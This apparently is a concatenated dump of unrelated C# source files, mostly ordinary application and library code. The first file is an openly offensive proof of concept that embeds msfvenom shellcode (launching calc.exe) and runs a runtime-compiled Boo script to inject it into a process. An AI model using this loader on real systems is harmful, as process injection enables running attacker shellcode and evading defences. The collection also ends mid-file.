content
stringlengths
23
1.05M
using System; using System.Text; using System.Reflection; using Boo.Lang.Compiler; using Boo.Lang.Compiler.IO; using Boo.Lang.Compiler.Pipelines; /* Author: Marcello Salvati (@byt3bl33d3r) License: BSD 3-Clause 1) Download the latest stable version of Boolang https://github.com/boo-lang/boo/releases 2) In the directory with the Boolang DLLs compile with: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Boo.Lang.Compiler.dll,Boo.Lang.dll,Boo.Lang.Parser.dll /t:exe runBoo.cs 3) Usage: runBoo.exe shellcode.boo <InjectionMethod> <x86|x64> Example: runBoo.exe shellcode.boo InjectRemote See shellcode.boo for the injection methods available This PoC won't work without the Boolang DLLs and shellcode.boo file in the same directory but you can easily fix that with a little C# trickery :) References: - https://github.com/boo-lang/boo/wiki/Scripting-with-the-Boo.Lang.Compiler-API - https://github.com/boo-lang/boo/wiki/Invoke-Native-Methods-with-DllImport - https://github.com/pwndizzle/c-sharp-memory-injection */ namespace ConsoleApplication1 { class Program { public static void Main(string[] args) { // msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp byte[] sc64 = new byte[276] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 0x63,0x2e,0x65,0x78,0x65,0x00 }; // msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f csharp byte[] sc86 = new byte[193] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; BooCompiler compiler = new BooCompiler(); //compiler.Parameters.Input.Add(new StringInput("MyScript", "print 'Doot Doot'!")); :) compiler.Parameters.Input.Add(new FileInput(args[0])); compiler.Parameters.Pipeline = new CompileToMemory(); compiler.Parameters.Ducky = true; CompilerContext context = compiler.Run(); //Note that the following code might throw an error if the Boo script had bugs. //Poke context.Errors to make sure. if (context.GeneratedAssembly != null) { Type scriptModule = context.GeneratedAssembly.GetType("Inject"); MethodInfo injectMain = scriptModule.GetMethod(args[1]); if (args.Length == 3) { if (args[2] == "x86") { Console.WriteLine("Using x86 Shellcode"); string output = (string)injectMain.Invoke(null, new object[] {sc86} ); } } else { Console.WriteLine("Using x64 Shellcode"); string output = (string)injectMain.Invoke(null, new object[] {sc64} ); Console.WriteLine(output); } } else { foreach (CompilerError error in context.Errors) Console.WriteLine(error); } Console.WriteLine("Boo!"); } } }
using System.ComponentModel; using System.ComponentModel.DataAnnotations; #pragma warning disable 1591 namespace Frends.PowerShell.RunCommand { public class RunCommandInput { /// <summary> /// The PowerShell command to execute /// </summary> public string Command { get; set; } /// <summary> /// Parameters for the command, provided switch parameters need to have a boolean value /// </summary> public PowerShellParameter[] Parameters { get; set; } /// <summary> /// Should the information stream be logged. If false, log will be an empty string. /// If set to true, a lot of string data may be logged. Use with caution. /// </summary> public bool LogInformationStream { get; set; } } public class PowerShellParameter { public string Name { get; set; } [DisplayFormat(DataFormatString = "Text")] public object Value { get; set; } } public class RunOptions { [DefaultValue(null)] [DisplayFormat(DataFormatString = "Expression")] public SessionWrapper Session { get; set; } } public class PowerShellResult { public IList<dynamic> Result { get; set; } public IList<string> Errors { get; set; } public string Log { get; set; } } }
using System.ComponentModel.DataAnnotations; using SportsStore.Entities; namespace SportsStore.Models { public class CartLineInputModel { [Required] [Range(typeof(long), "1", "9223372036854775807", ErrorMessage = "ProductId must be at least 1")] public long ProductId { get; set; } [Required] [Range(typeof(int), "1", "999", ErrorMessage = "Quantity must be at least 1 and less then 999")] public int Quantity { get; set; } public CartLine ToCartLine() { return new CartLine(ProductId, Quantity); } } }
using System; using System.Collections.Generic; using System.Linq; using hw.DebugFormatter; using JetBrains.Annotations; // ReSharper disable CheckNamespace namespace hw.Scanner { [PublicAPI] public static class MatchExtension { [PublicAPI] public interface IPositionExceptionFactory { Exception Create(SourcePosition sourcePosition); } sealed class ErrorMatch : Dumpable , IMatch { readonly Match.IError Error; public ErrorMatch(Match.IError error) => Error = error; int? IMatch.Match(SourcePosition sourcePosition) { if(Error is IPositionExceptionFactory positionFactory) throw positionFactory.Create(sourcePosition); throw new Match.Exception(sourcePosition, Error); } } sealed class CharMatch : Dumpable , IMatch { [EnableDump] readonly string Data; readonly StringComparison Type; public CharMatch(string data, bool isCaseSenitive) { Data = data; Type = isCaseSenitive? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase; } int? IMatch.Match(SourcePosition sourcePosition) { var result = Data.Length; return sourcePosition.StartsWith(Data, Type)? (int?)result : null; } } sealed class AnyCharMatch : Dumpable , IMatch { sealed class DefaultComparer : IEqualityComparer<char> { bool IEqualityComparer<char>.Equals(char target, char y) => target == y; int IEqualityComparer<char>.GetHashCode(char obj) => obj; } sealed class UpperInvariantComparer : IEqualityComparer<char> { bool IEqualityComparer<char>.Equals(char target, char y) => char.ToUpperInvariant(target) == char.ToUpperInvariant(y); int IEqualityComparer<char>.GetHashCode(char obj) => char.ToUpperInvariant(obj); } [EnableDump] readonly string Data; readonly IEqualityComparer<char> Comparer; public AnyCharMatch(string data, bool isCaseSenitive = true) { Data = data; Comparer = isCaseSenitive? Default : UpperInvariant; } static IEqualityComparer<char> Default => new DefaultComparer(); static IEqualityComparer<char> UpperInvariant => new UpperInvariantComparer(); int? IMatch.Match(SourcePosition sourcePosition) => Data.Contains(sourcePosition.Current, Comparer)? (int?)1 : null; } sealed class ElseMatch : Dumpable , IMatch { [EnableDump] readonly IMatch Data; [EnableDump] readonly IMatch Other; public ElseMatch(IMatch data, IMatch other) { Data = data; Other = other; } int? IMatch.Match(SourcePosition sourcePosition) => Data.Match(sourcePosition) ?? Other.Match(sourcePosition); } sealed class Repeater : Dumpable , IMatch { [EnableDump] readonly IMatch Data; [EnableDump] readonly int? MaxCount; [EnableDump] readonly int MinCount; public Repeater(IMatch data, int minCount, int? maxCount) { Tracer.Assert(!(data is Match)); Tracer.Assert(minCount >= 0); Tracer.Assert(maxCount == null || maxCount >= minCount); Data = data; MinCount = minCount; MaxCount = maxCount; } int? IMatch.Match(SourcePosition sourcePosition) { var count = 0; var current = sourcePosition; while(true) { var result = current - sourcePosition; if(count == MaxCount) return result; var length = Data.Match(current); if(length == null) return count < MinCount? null : (int?)result; if(current.IsEnd) return null; current += length.Value; count++; } } } public static IMatch UnBox(this IMatch data) => data is Match box? box.UnBox : data; public static Match AnyChar(this string data, bool isCaseSenitive = true) => new Match(new AnyCharMatch(data, isCaseSenitive)); public static Match Box(this Match.IError error) => new Match(new ErrorMatch(error)); public static Match Box (this string data, bool isCaseSenitive = true) => new Match(new CharMatch(data, isCaseSenitive)); public static Match Box(this IMatch data) => data as Match ?? new Match(data); public static Match Repeat(this IMatch data, int minCount = 0, int? maxCount = null) => new Match(new Repeater(data.UnBox(), minCount, maxCount)); public static Match Else(this string data, IMatch other) => data.Box().Else(other); public static Match Else(this IMatch data, string other) => data.Else(other.Box()); public static Match Else(this Match.IError data, IMatch other) => data.Box().Else(other); public static Match Else(this IMatch data, Match.IError other) => data.Else(other.Box()); public static Match Else(this IMatch data, IMatch other) => new Match(new ElseMatch(data.UnBox(), other.UnBox())); } }
namespace MOD6_CP9_P3 { partial class Form1 { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.pictureBox2 = new System.Windows.Forms.PictureBox(); this.pictureBox3 = new System.Windows.Forms.PictureBox(); this.inputTextBox = new System.Windows.Forms.TextBox(); this.inputLabel = new System.Windows.Forms.Label(); this.spinButton = new System.Windows.Forms.Button(); this.exitButton = new System.Windows.Forms.Button(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); this.SuspendLayout(); // // pictureBox1 // this.pictureBox1.Location = new System.Drawing.Point(58, 54); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(123, 123); this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; // // pictureBox2 // this.pictureBox2.Location = new System.Drawing.Point(214, 54); this.pictureBox2.Name = "pictureBox2"; this.pictureBox2.Size = new System.Drawing.Size(130, 123); this.pictureBox2.TabIndex = 1; this.pictureBox2.TabStop = false; // // pictureBox3 // this.pictureBox3.Location = new System.Drawing.Point(372, 54); this.pictureBox3.Name = "pictureBox3"; this.pictureBox3.Size = new System.Drawing.Size(126, 123); this.pictureBox3.TabIndex = 2; this.pictureBox3.TabStop = false; // // inputTextBox // this.inputTextBox.Location = new System.Drawing.Point(214, 219); this.inputTextBox.Name = "inputTextBox"; this.inputTextBox.Size = new System.Drawing.Size(100, 20); this.inputTextBox.TabIndex = 3; // // inputLabel // this.inputLabel.AutoSize = true; this.inputLabel.Location = new System.Drawing.Point(146, 219); this.inputLabel.Name = "inputLabel"; this.inputLabel.Size = new System.Drawing.Size(26, 13); this.inputLabel.TabIndex = 4; this.inputLabel.Text = "Bet:"; // // spinButton // this.spinButton.Location = new System.Drawing.Point(97, 299); this.spinButton.Name = "spinButton"; this.spinButton.Size = new System.Drawing.Size(75, 23); this.spinButton.TabIndex = 5; this.spinButton.Text = "Spin"; this.spinButton.UseVisualStyleBackColor = true; this.spinButton.Click += new System.EventHandler(this.spinButton_Click); // // exitButton // this.exitButton.Location = new System.Drawing.Point(372, 299); this.exitButton.Name = "exitButton"; this.exitButton.Size = new System.Drawing.Size(75, 23); this.exitButton.TabIndex = 6; this.exitButton.Text = "Exit"; this.exitButton.UseVisualStyleBackColor = true; this.exitButton.Click += new System.EventHandler(this.exitButton_Click); // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(552, 360); this.Controls.Add(this.exitButton); this.Controls.Add(this.spinButton); this.Controls.Add(this.inputLabel); this.Controls.Add(this.inputTextBox); this.Controls.Add(this.pictureBox3); this.Controls.Add(this.pictureBox2); this.Controls.Add(this.pictureBox1); this.Name = "Form1"; this.Text = "Slot Machine"; this.Load += new System.EventHandler(this.Form1_Load); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.PictureBox pictureBox1; private System.Windows.Forms.PictureBox pictureBox2; private System.Windows.Forms.PictureBox pictureBox3; private System.Windows.Forms.TextBox inputTextBox; private System.Windows.Forms.Label inputLabel; private System.Windows.Forms.Button spinButton; private System.Windows.Forms.Button exitButton; } }
using System; class veiculo { public int veloMax; public bool ligado; public bool desligado; public void ligar() { ligado = true; } public void desligar() { desligado = false; } public string getLigado() { if(ligado) { return "Sim"; }else { return "Não"; } } } class carro:veiculo { public string nome; public string cor; public int rodas; public carro(string nome , string cor) { desligar(); rodas = 4; veloMax = 130; this.nome = nome; this.cor = cor; } } class Aula23 { static void Main() { carro c1= new carro("Rapidão","Vermelho"); Console.WriteLine("Cor: {0}",c1.cor); Console.WriteLine("Nome: {0}",c1.nome); Console.WriteLine("Rodas: {0}",c1.rodas); Console.WriteLine("Vel.Maxima: {0}",c1.veloMax); Console.WriteLine("Ligado: {0}",c1.getLigado()); } }
using System; using System.Collections.Generic; using MvvmFx.CaliburnMicro.ComponentHandlers; namespace MvvmFx.CaliburnMicro.WisejWeb.Toolable { /// <summary> /// Setup this Wisej extension on CaliburnMicro.WisejWeb. /// </summary> public static class Setup { private static readonly List<Type> SetupDone = new List<Type>(); /// <summary> /// Runs ProxyAgent and ElementConvention configurations. /// </summary> /// <param name="controlType">Type of the control.</param> public static void Run(Type controlType) { if (SetupDone.Contains(controlType)) return; switch (controlType.Name) { case "PanelEx": RunPanelEx(); break; default: return; } } #region PanelEx private static void RunPanelEx() { PanelExProxyAgent(); PanelExBinderAgent(); PanelExElementConvention(); SetupDone.Add(typeof(PanelEx)); } private static void PanelExProxyAgent() { ProxyManager.AddProxyAgent<PanelEx>(PanelExHandler.GetChildItems); } private static void PanelExBinderAgent() { BinderManager.AddBinderAgent<PanelEx>(PanelExHandler.BindVisualProperties); } private static void PanelExElementConvention() { ConventionManager.AddElementConvention<ComponentToolExProxy>("Name", null, "Click") .CreateAction = (element, methodName, parameters) => { return new ActionMessage(element, "Click", methodName, parameters); }; } #endregion } }
namespace IntegrationTestingLibraryForSqlServer.TableDataComparison { public interface TableDataComparer { bool IsMatch(TableData x, TableData y); } }
using LHGames.Helper; using LHGames.Interfaces; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace LHGames.Bot { internal class PlacePlaner : IPlacePlaner { private Map map; private IPlayer player; private IAStar astarService; internal PlacePlaner(Map map, IPlayer player, IAStar astarService) { this.map = map; this.player = player; this.astarService = astarService; } public PlaceTileDescriptor GetBestPlacePath(TileContent tileContent) { return GetPlacesPaths(tileContent).Min(); } public List<Tile> GetPlacesTiles(TileContent tileContent) { IEnumerable<Tile> mapTiles = map.GetVisibleTiles(); List<Tile> ressourcesTiles = new List<Tile>(); mapTiles.ToList().ForEach(i => { if (i.TileType == tileContent) { ressourcesTiles.Add(i); } }); return ressourcesTiles; } public List<PlaceTileDescriptor> GetPlacesPaths(TileContent tileContent) { List<Tile> ressourceTiles = GetPlacesTiles(tileContent); Tile currentTile = map.GetTile(player.Position.X, player.Position.Y); List<PlaceTileDescriptor> placeTileDescriptors = new List<PlaceTileDescriptor>(); ressourceTiles.ToList().ForEach(ressourceTile => { List<Tile> calculatedPath = astarService.Run(currentTile, ressourceTile); if (calculatedPath != null && calculatedPath.Count != 0) { PlaceTileDescriptor res = new PlaceTileDescriptor { Tile = ressourceTile, Path = calculatedPath }; placeTileDescriptors.Add(res); } }); return placeTileDescriptors; } } }
using System.Linq; using Highway.Data.Tests.TestDomain; namespace Highway.Data.EntityFramework.Test.TestDomain.Queries { public class FindBarByFooId : Query<Foo, Bar> { public FindBarByFooId(int fooId) { Selector = c => c.AsQueryable<Foo>().Where(foo => foo.Id == fooId); Projector = foos => foos.SelectMany(foo => foo.Bars); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Diagnostics; using System.Collections.Generic; using System.Reflection; using System.Globalization; namespace DPStressHarness { public static class TestMetrics { private const string _defaultValue = "unknown"; private static bool s_valid = false; private static bool s_reset = true; private static Stopwatch s_stopwatch = new Stopwatch(); private static long s_workingSet; private static long s_peakWorkingSet; private static long s_privateBytes; private static Assembly s_targetAssembly; private static string s_fileVersion = _defaultValue; private static string s_privateBuild = _defaultValue; private static string s_runLabel = DateTime.Now.ToString(); private static Dictionary<string, string> s_overrides; private static List<string> s_variations = null; private static List<string> s_selectedTests = null; private static bool s_isOfficial = false; private static string s_milestone = _defaultValue; private static string s_branch = _defaultValue; private static List<string> s_categories = null; private static bool s_profileMeasuredCode = false; private static int s_stressThreads = 16; private static int s_stressDuration = -1; private static int? s_exceptionThreshold = null; private static bool s_monitorenabled = false; private static string s_monitormachinename = "localhost"; private static int s_randomSeed = 0; private static string s_filter = null; private static bool s_printMethodName = false; /// <summary>Starts the sample profiler.</summary> /// <remarks> /// Do not inline to avoid errors when the functionality is not used /// and the profiling DLL is not available. /// </remarks> [System.Runtime.CompilerServices.MethodImpl(System.Runtime.CompilerServices.MethodImplOptions.NoInlining)] private static void InternalStartProfiling() { // Microsoft.VisualStudio.Profiler.DataCollection.StartProfile( // Microsoft.VisualStudio.Profiler.ProfileLevel.Global, // Microsoft.VisualStudio.Profiler.DataCollection.CurrentId); } /// <summary>Stops the sample profiler.</summary> /// <remarks> /// Do not inline to avoid errors when the functionality is not used /// and the profiling DLL is not available. /// </remarks> [System.Runtime.CompilerServices.MethodImpl(System.Runtime.CompilerServices.MethodImplOptions.NoInlining)] private static void InternalStopProfiling() { // Microsoft.VisualStudio.Profiler.DataCollection.StopProfile( // Microsoft.VisualStudio.Profiler.ProfileLevel.Global, // Microsoft.VisualStudio.Profiler.DataCollection.CurrentId); } public static void StartCollection() { s_valid = false; s_stopwatch.Reset(); s_stopwatch.Start(); s_reset = true; } public static void StartProfiling() { if (s_profileMeasuredCode) { InternalStartProfiling(); } } public static void StopProfiling() { if (s_profileMeasuredCode) { InternalStopProfiling(); } } public static void StopCollection() { s_stopwatch.Stop(); Process p = Process.GetCurrentProcess(); s_workingSet = p.WorkingSet64; s_peakWorkingSet = p.PeakWorkingSet64; s_privateBytes = p.PrivateMemorySize64; s_valid = true; } public static void PauseTimer() { s_stopwatch.Stop(); } public static void UnPauseTimer() { if (s_reset) { s_stopwatch.Reset(); s_reset = false; } s_stopwatch.Start(); } private static void ThrowIfInvalid() { if (!s_valid) throw new InvalidOperationException("Collection must be stopped before accessing this metric."); } public static void Reset() { s_valid = false; s_reset = true; s_stopwatch = new Stopwatch(); s_workingSet = new long(); s_peakWorkingSet = new long(); s_privateBytes = new long(); s_targetAssembly = null; s_fileVersion = _defaultValue; s_privateBuild = _defaultValue; s_runLabel = DateTime.Now.ToString(); s_overrides = null; s_variations = null; s_selectedTests = null; s_isOfficial = false; s_milestone = _defaultValue; s_branch = _defaultValue; s_categories = null; s_profileMeasuredCode = false; s_stressThreads = 16; s_stressDuration = -1; s_exceptionThreshold = null; s_monitorenabled = false; s_monitormachinename = "localhost"; s_randomSeed = 0; s_filter = null; s_printMethodName = false; } public static string FileVersion { get { return s_fileVersion; } set { s_fileVersion = value; } } public static string PrivateBuild { get { return s_privateBuild; } set { s_privateBuild = value; } } public static Assembly TargetAssembly { get { return s_targetAssembly; } set { s_targetAssembly = value; s_fileVersion = VersionUtil.GetFileVersion(s_targetAssembly.ManifestModule.FullyQualifiedName); s_privateBuild = VersionUtil.GetPrivateBuild(s_targetAssembly.ManifestModule.FullyQualifiedName); } } public static string RunLabel { get { return s_runLabel; } set { s_runLabel = value; } } public static string Milestone { get { return s_milestone; } set { s_milestone = value; } } public static string Branch { get { return s_branch; } set { s_branch = value; } } public static bool IsOfficial { get { return s_isOfficial; } set { s_isOfficial = value; } } public static bool IsDefaultValue(string val) { return val.Equals(_defaultValue); } public static double ElapsedSeconds { get { ThrowIfInvalid(); return s_stopwatch.ElapsedMilliseconds / 1000.0; } } public static long WorkingSet { get { ThrowIfInvalid(); return s_workingSet; } } public static long PeakWorkingSet { get { ThrowIfInvalid(); return s_peakWorkingSet; } } public static long PrivateBytes { get { ThrowIfInvalid(); return s_privateBytes; } } public static Dictionary<string, string> Overrides { get { if (s_overrides == null) { s_overrides = new Dictionary<string, string>(8); } return s_overrides; } } public static List<string> Variations { get { if (s_variations == null) { s_variations = new List<string>(8); } return s_variations; } } public static List<string> SelectedTests { get { if (s_selectedTests == null) { s_selectedTests = new List<string>(8); } return s_selectedTests; } } public static bool IncludeTest(TestAttributeBase test) { if (s_selectedTests == null || s_selectedTests.Count == 0) return true; // user has no selection - run all else return s_selectedTests.Contains(test.Title); } public static List<string> Categories { get { if (s_categories == null) { s_categories = new List<string>(8); } return s_categories; } } public static bool ProfileMeasuredCode { get { return s_profileMeasuredCode; } set { s_profileMeasuredCode = value; } } public static int StressDuration { get { return s_stressDuration; } set { s_stressDuration = value; } } public static int StressThreads { get { return s_stressThreads; } set { s_stressThreads = value; } } public static int? ExceptionThreshold { get { return s_exceptionThreshold; } set { s_exceptionThreshold = value; } } public static bool MonitorEnabled { get { return s_monitorenabled; } set { s_monitorenabled = value; } } public static string MonitorMachineName { get { return s_monitormachinename; } set { s_monitormachinename = value; } } public static int RandomSeed { get { return s_randomSeed; } set { s_randomSeed = value; } } public static string Filter { get { return s_filter; } set { s_filter = value; } } public static bool PrintMethodName { get { return s_printMethodName; } set { s_printMethodName = value; } } } }
using System; namespace TarkOrm.Attributes { public class IgnoreMappingAttribute : Attribute { public IgnoreMappingAttribute() { } } }
/** * $File: JCS_StreamingAssets.cs $ * $Date: 2020-08-03 22:47:47 $ * $Revision: $ * $Creator: Jen-Chieh Shen $ * $Notice: See LICENSE.txt for modification and distribution information * Copyright © 2020 by Shen, Jen-Chieh $ */ using System.Collections; using System.Collections.Generic; using System.IO; using System.Text; using UnityEngine; using UnityEngine.Networking; namespace JCSUnity { /// <summary> /// Generic streaming assets interface. /// </summary> public class JCS_StreamingAssets : JCS_Settings<JCS_StreamingAssets> { public delegate void RequestCallback(string path, bool success); /* Variables */ private byte[] REQ_KEY = Encoding.ASCII.GetBytes("WAIT-090218"); private byte[] mResultData = null; private RequestCallback requestCallback = null; [Header("** Check Variables (JCS_StreamingAssets) **")] [Tooltip("List of file that we are going to download as target.")] public List<string> downloadList = null; [Tooltip("Flag to see if currently downloading the file.")] public bool requesting = false; [Tooltip("Full request URL.")] public string requestURL = ""; [Tooltip("Request data path.")] public string requestPath = ""; [Header("** Initialize Variables (JCS_StreamingAssets) **")] [Tooltip("Preload streaming assets path.")] public List<string> preloadPath = null; /* Setter & Getter */ /* Functions */ private void Awake() { instance = CheckSingleton(instance, this); downloadList = preloadPath; } private void Update() { ProcessDownload(); } /// <summary> /// Return streaming assets path. /// </summary> public static string StreamingAssetsPath() { return Application.streamingAssetsPath; } /// <summary> /// Return the streaming assets cache path. /// </summary> public static string CachePath() { var gs = JCS_GameSettings.instance; string path = JCS_Path.Combine(Application.persistentDataPath, gs.STREAMING_CACHE_PATH); return path; } /// <summary> /// Return static URL path. /// </summary> public static string UrlPath() { var gs = JCS_GameSettings.instance; return gs.STREAMING_BASE_URL; } /// <summary> /// Check if current data are requesting data. /// </summary> /// <param name="data"></param> /// <returns></returns> public bool NeedRequestData(byte[] data) { return REQ_KEY == data; } /// <summary> /// Get all the bytes by PATH. /// </summary> public byte[] ReadAllBytes(string path, RequestCallback callback = null) { byte[] data = TryCacheData(path); if (data == null) data = TryStreamingAssets(path); if (data == null) { if (callback != null) { if (requestCallback == null) requestCallback = callback; else { JCS_Debug.LogWarning("Override request callback is denied"); } } AddDownloadTarget(path); data = REQ_KEY; // Set to `wait` key! } return data; } /// <summary> /// Add a download target by streaming assets PATH. /// </summary> public void AddDownloadTarget(string path) { downloadList.Add(path); } protected override void TransferData(JCS_StreamingAssets _old, JCS_StreamingAssets _new) { _old.requestCallback = _new.requestCallback; _old.downloadList = _new.downloadList; _old.requesting = _new.requesting; _old.requestURL = _new.requestURL; _old.requestPath = _new.requestPath; _old.preloadPath = _new.preloadPath; } private bool ValidCacheData(string path) { string filePath = CachePath() + path; return JCS_IO.IsFile(filePath); } private bool ValidStreamingAssets(string path) { string filePath = StreamingAssetsPath() + path; return JCS_IO.IsFile(filePath); } private byte[] TryCacheData(string path) { if (!ValidCacheData(path)) return null; string filePath = CachePath() + path; return File.ReadAllBytes(filePath); } private byte[] TryStreamingAssets(string path) { if (!ValidStreamingAssets(path)) return null; string filePath = StreamingAssetsPath() + path; return File.ReadAllBytes(filePath); } private void TryUrlData(string path) { mResultData = null; requestPath = path; requestURL = UrlPath() + requestPath; requesting = true; StartCoroutine(GetData()); } private IEnumerator GetData() { UnityWebRequest www = UnityWebRequest.Get(requestURL); yield return www.SendWebRequest(); bool success = false; #if UNITY_2021_1_OR_NEWER if (www.result == UnityWebRequest.Result.ConnectionError || www.result == UnityWebRequest.Result.ProtocolError) #else if (www.isNetworkError || www.isHttpError) #endif { if (JCS_GameSettings.instance.DEBUG_MODE) JCS_Debug.LogWarning(www.error); } else { mResultData = www.downloadHandler.data; WriteFileAsCache(requestPath, mResultData); success = true; } if (requestCallback != null) requestCallback.Invoke(requestPath, success); requestCallback = null; downloadList.Remove(requestPath); requesting = false; } /// <summary> /// Write a file and make it as cache data file. /// </summary> /// <param name="path"> Path to write to. </param> /// <param name="data"> Bytes data to write with. </param> private static void WriteFileAsCache(string path, byte[] data) { string filePath = CachePath() + path; string dirPath = Path.GetDirectoryName(filePath); JCS_IO.CreateDirectory(dirPath); File.WriteAllBytes(filePath, data); } /// <summary> /// Process the download list and try to download all target files. /// </summary> private void ProcessDownload() { if (downloadList.Count == 0 || requesting) return; string path = downloadList[0]; if (NeedRequestData(ReadAllBytes(path))) TryUrlData(path); else { downloadList.RemoveAt(0); } } } }
using uTinyRipper.Converters; using uTinyRipper.YAML; namespace uTinyRipper.Classes.ParticleSystems { public sealed class TrailModule : ParticleSystemModule { public TrailModule() { } public TrailModule(bool _) { Ratio = 1.0f; Lifetime = new MinMaxCurve(1.0f); MinVertexDistance = 0.2f; RibbonCount = 1; DieWithParticles = true; SizeAffectsWidth = true; InheritParticleColor = true; ColorOverLifetime = new MinMaxGradient(true); WidthOverTrail = new MinMaxCurve(1.0f); ColorOverTrail = new MinMaxGradient(true); } /// <summary> /// 2017.3 and greater /// </summary> public static bool HasMode(Version version) => version.IsGreaterEqual(2017, 3); /// <summary> /// 2017.3 and greater /// </summary> public static bool HasRibbonCount(Version version) => version.IsGreaterEqual(2017, 3); /// <summary> /// 2018.3 and greater /// </summary> public static bool HasShadowBias(Version version) => version.IsGreaterEqual(2018, 3); /// <summary> /// 2017.1.0b2 /// </summary> public static bool HasGenerateLightingData(Version version) => version.IsGreaterEqual(2017, 1, 0, VersionType.Beta, 2); /// <summary> /// 2017.3 and greater /// </summary> public static bool HasSplitSubEmitterRibbons(Version version) => version.IsGreaterEqual(2017, 3); /// <summary> /// 2018.3 and greater /// </summary> public static bool 